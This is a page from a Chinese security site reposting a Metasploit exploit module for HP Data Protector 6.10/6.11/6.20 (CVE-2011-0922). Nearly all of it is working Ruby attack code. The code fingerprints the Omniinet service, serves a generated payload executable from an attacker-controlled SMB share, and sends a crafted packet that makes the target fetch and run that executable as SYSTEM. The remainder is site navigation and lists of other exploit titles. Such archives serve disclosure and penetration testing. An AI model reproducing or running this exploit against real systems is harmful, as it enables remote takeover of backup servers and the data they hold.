首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP Data Protector 6.10 / 6.11 / 6.20 Install Service
来源:metasploit.com 作者:Turner 发布时间:2016-04-26  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'HP Data Protector 6.10/6.11/6.20 Install Service',
      'Description'    => %q{
        This module exploits HP Data Protector Omniinet process on Windows only.
        This exploit invokes the install service function which allows an attacker to create a
        custom payload in the format of an executable.

        To ensure this works, the SMB server created in MSF must have a share called Omniback
        which has a subfolder i386, i.e. \\\\192.168.1.1\\Omniback\\i386\\
      },
      'Author'         => [
        'Ben Turner',
      ],
      'References'     =>
        [
          ['CVE', '2011-0922'],
          ['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'       => 2048,
          'DisableNops' => true
        },
      'Privileged'     => true,
      'Platform'       => 'win',
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'        =>
        [
          [ 'HP Data Protector 6.10/6.11/6.20 / Windows', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 02 2011'))

      register_options(
        [
          Opt::RPORT(5555),
          OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
        ], self.class)

      deregister_options('FOLDER_NAME')
      deregister_options('FILE_CONTENTS')
      deregister_options('SHARE')
      deregister_options('FILE_NAME')
  end

  def peer
    "#{rhost}:#{rport}"
  end

  def check
    fingerprint = get_fingerprint

    if fingerprint.nil?
      vprint_status('Unable to fingerprint because no response.')
      return Exploit::CheckCode::Unknown
    end

    vprint_status("#{peer} - #{fingerprint}")

    if fingerprint =~ /HP Data Protector A\.06\.(\d+)/i
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Detected
  end

  def get_fingerprint
    ommni = connect
    ommni.put(rand_text_alpha_upper(64))
    resp = ommni.get_once(-1)
    disconnect

    return nil if resp.nil?

    # Delete unicode last null
    Rex::Text.to_ascii(resp).chop.chomp
  end

  def primer
    self.file_contents = generate_payload_exe
    self.file_name = "installservice.exe"
    self.share = "Omniback\\i386"

    print_status("File available on #{unc}...")
    vprint_status("#{peer} - Trying to execute remote EXE...")

    lhost = "#{datastore['SRVHOST']}"
    lhostfull = ""
    lhost.each_char do |character|
      lhostfull = lhostfull << "\x00" << character
    end

    packet = "\x00\x00\x01\xbe\xff\xfe\x32\x00\x00\x00\x20"
    packet << lhostfull
    packet << "\x00\x00\x00\x20\x00\x30\x00"
    packet << "\x00\x00\x20\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00\x4d\x00"
    packet << "\x00\x00\x20\x00\x4e\x00\x54\x00\x20\x00\x41\x00\x55\x00\x54\x00"
    packet << "\x48\x00\x4f\x00\x52\x00\x49\x00\x54\x00\x59\x00\x00\x00\x20\x00"
    packet << "\x43\x00\x00\x00\x20\x00\x32\x00\x36\x00\x00\x00\x20\x00\x5c\x00"
    packet << "\x5c"
    packet << lhostfull
    packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00"
    packet << "\x61\x00\x63\x00\x6b\x00\x5c\x00\x69\x00\x33\x00\x38\x00\x36\x00"
    packet << "\x5c\x00\x69\x00\x6e\x00\x73\x00\x74\x00\x61\x00\x6c\x00\x6c\x00"
    packet << "\x73\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x2e\x00"
    packet << "\x65\x00\x78\x00\x65\x00\x20\x00\x2d\x00\x73\x00\x6f\x00\x75\x00"
    packet << "\x72\x00\x63\x00\x65\x00\x20\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62"
    packet << "\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x5c\x00\x5c"
    packet << lhostfull
    packet << "\x5c\x00\x5c\x00\x4f\x00"
    packet << "\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63\x00\x6b\x00\x5c\x00"
    packet << "\x69\x00\x33\x00\x38\x00\x36\x00\x5c\x00\x69\x00\x6e\x00\x73\x00"
    packet << "\x74\x00\x61\x00\x6c\x00\x6c\x00\x73\x00\x65\x00\x72\x00\x76\x00"
    packet << "\x69\x00\x63\x00\x65\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x20\x00"
    packet << "\x2d\x00\x73\x00\x6f\x00\x75\x00\x72\x00\x63\x00\x65\x00\x20\x00"
    packet << "\x5c\x00\x5c"
    packet << lhostfull
    packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63"
    packet << "\x00\x6b\x00\x20\x00\x00\x00\x00\x00\x00\x00\x02\x54"
    packet << "\xff\xfe\x32\x00\x36\x00\x00\x00\x20\x00\x5b\x00\x30\x00\x5d\x00"
    packet << "\x41\x00\x44\x00\x44\x00\x2f\x00\x55\x00\x50\x00\x47\x00\x52\x00"
    packet << "\x41\x00\x44\x00\x45\x00\x0a\x00\x5c\x00\x5c"
    packet << lhostfull
    packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63"
    packet << "\x00\x6b\x00\x5c\x00\x69\x00\x33\x00\x38\x00\x36\x00"

    connect
    sock.put(packet)
    disconnect
  end

  def exploit
    begin
      Timeout.timeout(datastore['SMB_DELAY']) {super}
    rescue Timeout::Error
      # Stop SMB Server
    end
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Rough Auditing Tool for Securi
·Yasr Screen Reader 0.6.9 - Loc
·PCMan FTP Server 2.0.7 - RENAM
·Texas Instruments Calculators
·Gemtek CPE7000 - WLTCS-106 sys
·RATS 2.3 Crash Proof Of Concep
·Gemtek CPE7000 - WLTCS-106 Adm
·Struts2 S2-032 checking tools
·Advantech WebAccess 8.0 Dashbo
·Multiple Vendors (RomPager <=
·libgd 2.1.1 Signedness
·Windows - CSRSS BaseSrvCheckVD
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved